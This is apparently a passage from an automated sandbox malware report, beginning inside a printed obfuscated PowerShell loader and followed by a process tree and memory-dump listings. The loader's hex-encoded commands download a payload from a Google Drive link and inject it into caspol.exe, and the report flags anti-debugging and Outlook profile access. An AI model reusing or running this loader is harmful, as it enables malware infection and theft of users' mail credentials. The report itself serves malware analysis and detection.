'C2A4938B9593858DD5D7C6DBC6BDB59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AB8794958E878ABBDCDCA18392A2838A8381879283A08994A0938885928F8988B6898F88928394CECE808D96C6C2A08994959293908382C6C2B793898D8D8795D6D6CFCAC6CEA1A2B2C6A6CEBDAF8892B69294BBCAC6BDB3AF8892D5D4BBCFC6CEBDAF8892B69294BBCFCFCF';.($Opskyl7) $Quokkas01;$Quokkas02 = Quokkas11 'C2B083888AD7DFD1C6DBC6BDB59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AB8794958E878ABBDCDCA18392A2838A8381879283A08994A0938885928F8988B6898F88928394CECE808D96C6C2A78A8283D5D0C6C2B793898D8D8795D6D5CFCAC6CEA1A2B2C6A6CEBDAF8892B69294BBCFC6CEBDAF8892B69294BBCFCFCF';.($Opskyl7) $Quokkas02;$Streng7 = Quokkas11 'C2B38887848795838296C6DBC6C2B083888AD7DFD1C8AF8890898D83CED6CF';.($Opskyl7) $Streng7;$Streng7 = Quokkas11 'C2A4938B9593858DD5D7C8AF8890898D83CEC2B38887848795838296CAC6D6CF';.($Opskyl7) $Streng7;$Streng6 = Quokkas11 'C2A493838AC6DBC6BDB59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AB8794958E878ABBDCDCA18392A2838A8381879283A08994A0938885928F8988B6898F88928394CECE808D96C6C2A78A8283D5D0C6C2A996958D9F8AD2CFCAC6CEA1A2B2C6A6CEBDAF8892B69294BBCAC6BDB3AF8892D5D4BBCAC6BDB3AF8892D5D4BBCAC6BDB3AF8892D5D4BBCFC6CEBDAF8892B69294BBCFCFCF';.($Opskyl7) $Streng6;$Outbl = fkp $Opskyl5 $Opskyl6;$Streng7 = Quokkas11 'C2A2838B8F8B8988D5C6DBC6C2A493838AC8AF8890898D83CEBDAF8892B69294BBDCDCBC839489CAC6D0D3D0CAC6D69ED5D6D6D6CAC6D69ED2D6CF';.($Opskyl7) $Streng7;$Streng8 = Quokkas11 'C2B483878A8F95928FD7DEDFC6DBC6C2A493838AC8AF8890898D83CEBDAF8892B69294BBDCDCBC839489CAC6DFD2DFD1D5DFD3D4CAC6D69ED5D6D6D6CAC6D69ED2CF';.($Opskyl7) $Streng8;$Quokkas01 = 'https://drive.google.com/uc?export=download&id=1B3MRGXuZWdG46eXHp6A71YeYmlVrmaBx';$Quokkas00 = Quokkas11 'C2A58E8F8D8788839488DEC6DBC6CEA88391CBA9848C838592C6A88392C8B18384A58A8F838892CFC8A28991888A898782B592948F8881CEC2B793898D8D8795D6D7CF';$Streng8 = Quokkas11 'C2A2838B8F8B8988D4DBC2838890DC87969682879287';.($Opskyl7) $Streng8;$Demimon2=$Demimon2+'\Tusneldas.dat';$Chikanern8='';if (-not(Test-Path $Demimon2)) {while ($Chikanern8 -eq '') {.($Opskyl7) $Quokkas00;Start-Sleep 5;}Set-Content $Demimon2 $Chikanern8;}$Chikanern8 = Get-Content $Demimon2;$Streng9 = Quokkas11 'C2B59294838881C6DBC6BDB59F9592838BC8A5898890839492BBDCDCA094898BA4879583D0D2B592948F8881CEC2A58E8F8D8788839488DECF';.($Opskyl7) $Streng9;$Chikanern80 = Quokkas11 'BDB59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AB8794958E878ABBDCDCA589969FCEC2B59294838881CAC6D6CAC6C6C2A2838B8F8B8988D5CAC6D0D3D0CF';.($Opskyl7) $Chikanern80;$Maskinfejl103=$Streng.count-656;$Chikanern81 = Quokkas11 'BDB59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AB8794958E878ABBDCDCA589969FCEC2B59294838881CAC6D0D3D0CAC6C2B483878A8F95928FD7DEDFCAC6C2AB87958D8F8880838C8AD7D6D5CF';.($Opskyl7) $Chikanern81;$Chikanern82 = Quokkas11 'C2B592898981838F8892C6DBC6BDB59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AB8794958E878ABBDCDCA18392A2838A8381879283A08994A0938885928F8988B6898F88928394CECE808D96C6C2A08994959293908382C6C2A38482898BCFCAC6CEA1A2B2C6A6CEBDAF8892B69294BBCAC6BDAF8892B69294BBCAC6BDAF8892B69294BBCAC6BDAF8892B69294BBCAC6BDAF8892B69294BBCFC6CEBDAF8892B69294BBCFCFCF';.($Opskyl7) $Chikanern82;$Chikanern83 = Quokkas11 'C2B592898981838F8892C8AF8890898D83CEC2A2838B8F8B8988D5CAC2B483878A8F95928FD7DEDFCAC2A99392848ACAD6CAD6CF';.($Opskyl7) $Chikanern83#"3⤵
- Blocklisted process makes network request
- Checks QEMU agent file
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1432 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe"4⤵PID:3596
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe"4⤵PID:3600
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe"4⤵PID:3744
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe"4⤵
- Checks QEMU agent file
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:3592
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/1432-150-0x0000000008520000-0x000000000DFB3000-memory.dmpFilesize
90.6MB
-
memory/1432-143-0x0000000006540000-0x000000000655E000-memory.dmpFilesize
120KB
-
memory/1432-154-0x0000000077CD0000-0x0000000077E73000-memory.dmpFilesize
1.6MB
-
memory/1432-152-0x0000000077CD0000-0x0000000077E73000-memory.dmpFilesize
1.6MB
-
memory/1432-163-0x0000000008520000-0x000000000DFB3000-memory.dmpFilesize
90.6MB
-
memory/1432-137-0x0000000000000000-mapping.dmp
-
memory/1432-138-0x0000000002C40000-0x0000000002C76000-memory.dmpFilesize
216KB
-
memory/1432-139-0x00000000056B0000-0x0000000005CD8000-memory.dmpFilesize
6.2MB
-
memory/1432-151-0x00007FF84E690000-0x00007FF84E885000-memory.dmpFilesize
2.0MB
-
memory/1432-141-0x0000000005DD0000-0x0000000005E36000-memory.dmpFilesize
408KB
-
memory/1432-142-0x0000000005EF0000-0x0000000005F56000-memory.dmpFilesize
408KB
-
memory/1432-156-0x0000000077CD0000-0x0000000077E73000-memory.dmpFilesize
1.6MB
-
memory/1432-144-0x0000000007EA0000-0x000000000851A000-memory.dmpFilesize
6.5MB
-
memory/1432-145-0x0000000006A60000-0x0000000006A7A000-memory.dmpFilesize
104KB
-
memory/1432-146-0x0000000007820000-0x00000000078B6000-memory.dmpFilesize
600KB
-
memory/1432-147-0x0000000007760000-0x0000000007782000-memory.dmpFilesize
136KB
-
memory/1432-148-0x000000000DFC0000-0x000000000E564000-memory.dmpFilesize
5.6MB
-
memory/1432-140-0x0000000005680000-0x00000000056A2000-memory.dmpFilesize
136KB
-
memory/1976-149-0x00007FF82F8A0000-0x00007FF830361000-memory.dmpFilesize
10.8MB
-
memory/1976-164-0x00007FF82F8A0000-0x00007FF830361000-memory.dmpFilesize
10.8MB
-
memory/1976-136-0x00007FF82F8A0000-0x00007FF830361000-memory.dmpFilesize
10.8MB
-
memory/1976-135-0x000001157ECC0000-0x000001157ECE2000-memory.dmpFilesize
136KB
-
memory/1976-134-0x0000000000000000-mapping.dmp
-
memory/3592-169-0x00007FF84E690000-0x00007FF84E885000-memory.dmpFilesize
2.0MB
-
memory/3592-157-0x00007FF84E690000-0x00007FF84E885000-memory.dmpFilesize
2.0MB
-
memory/3592-153-0x0000000000000000-mapping.dmp
-
memory/3592-158-0x0000000077CD0000-0x0000000077E73000-memory.dmpFilesize
1.6MB
-
memory/3592-159-0x0000000000400000-0x000000000062B000-memory.dmpFilesize
2.2MB
-
memory/3592-160-0x0000000000401000-0x000000000062B000-memory.dmpFilesize
2.2MB
-
memory/3592-162-0x0000000000400000-0x0000000000430000-memory.dmpFilesize
192KB
-
memory/3592-155-0x0000000001400000-0x0000000006E93000-memory.dmpFilesize
90.6MB
-
memory/3592-170-0x0000000077CD0000-0x0000000077E73000-memory.dmpFilesize
1.6MB
-
memory/3592-165-0x0000000025DC0000-0x0000000025E52000-memory.dmpFilesize
584KB
-
memory/3592-166-0x0000000025D70000-0x0000000025D7A000-memory.dmpFilesize
40KB
-
memory/3592-167-0x0000000026570000-0x00000000265C0000-memory.dmpFilesize
320KB
-
memory/3592-168-0x0000000026790000-0x0000000026952000-memory.dmpFilesize
1.8MB
-
memory/4148-133-0x0000000000000000-mapping.dmp
-
memory/4244-132-0x0000000000000000-mapping.dmp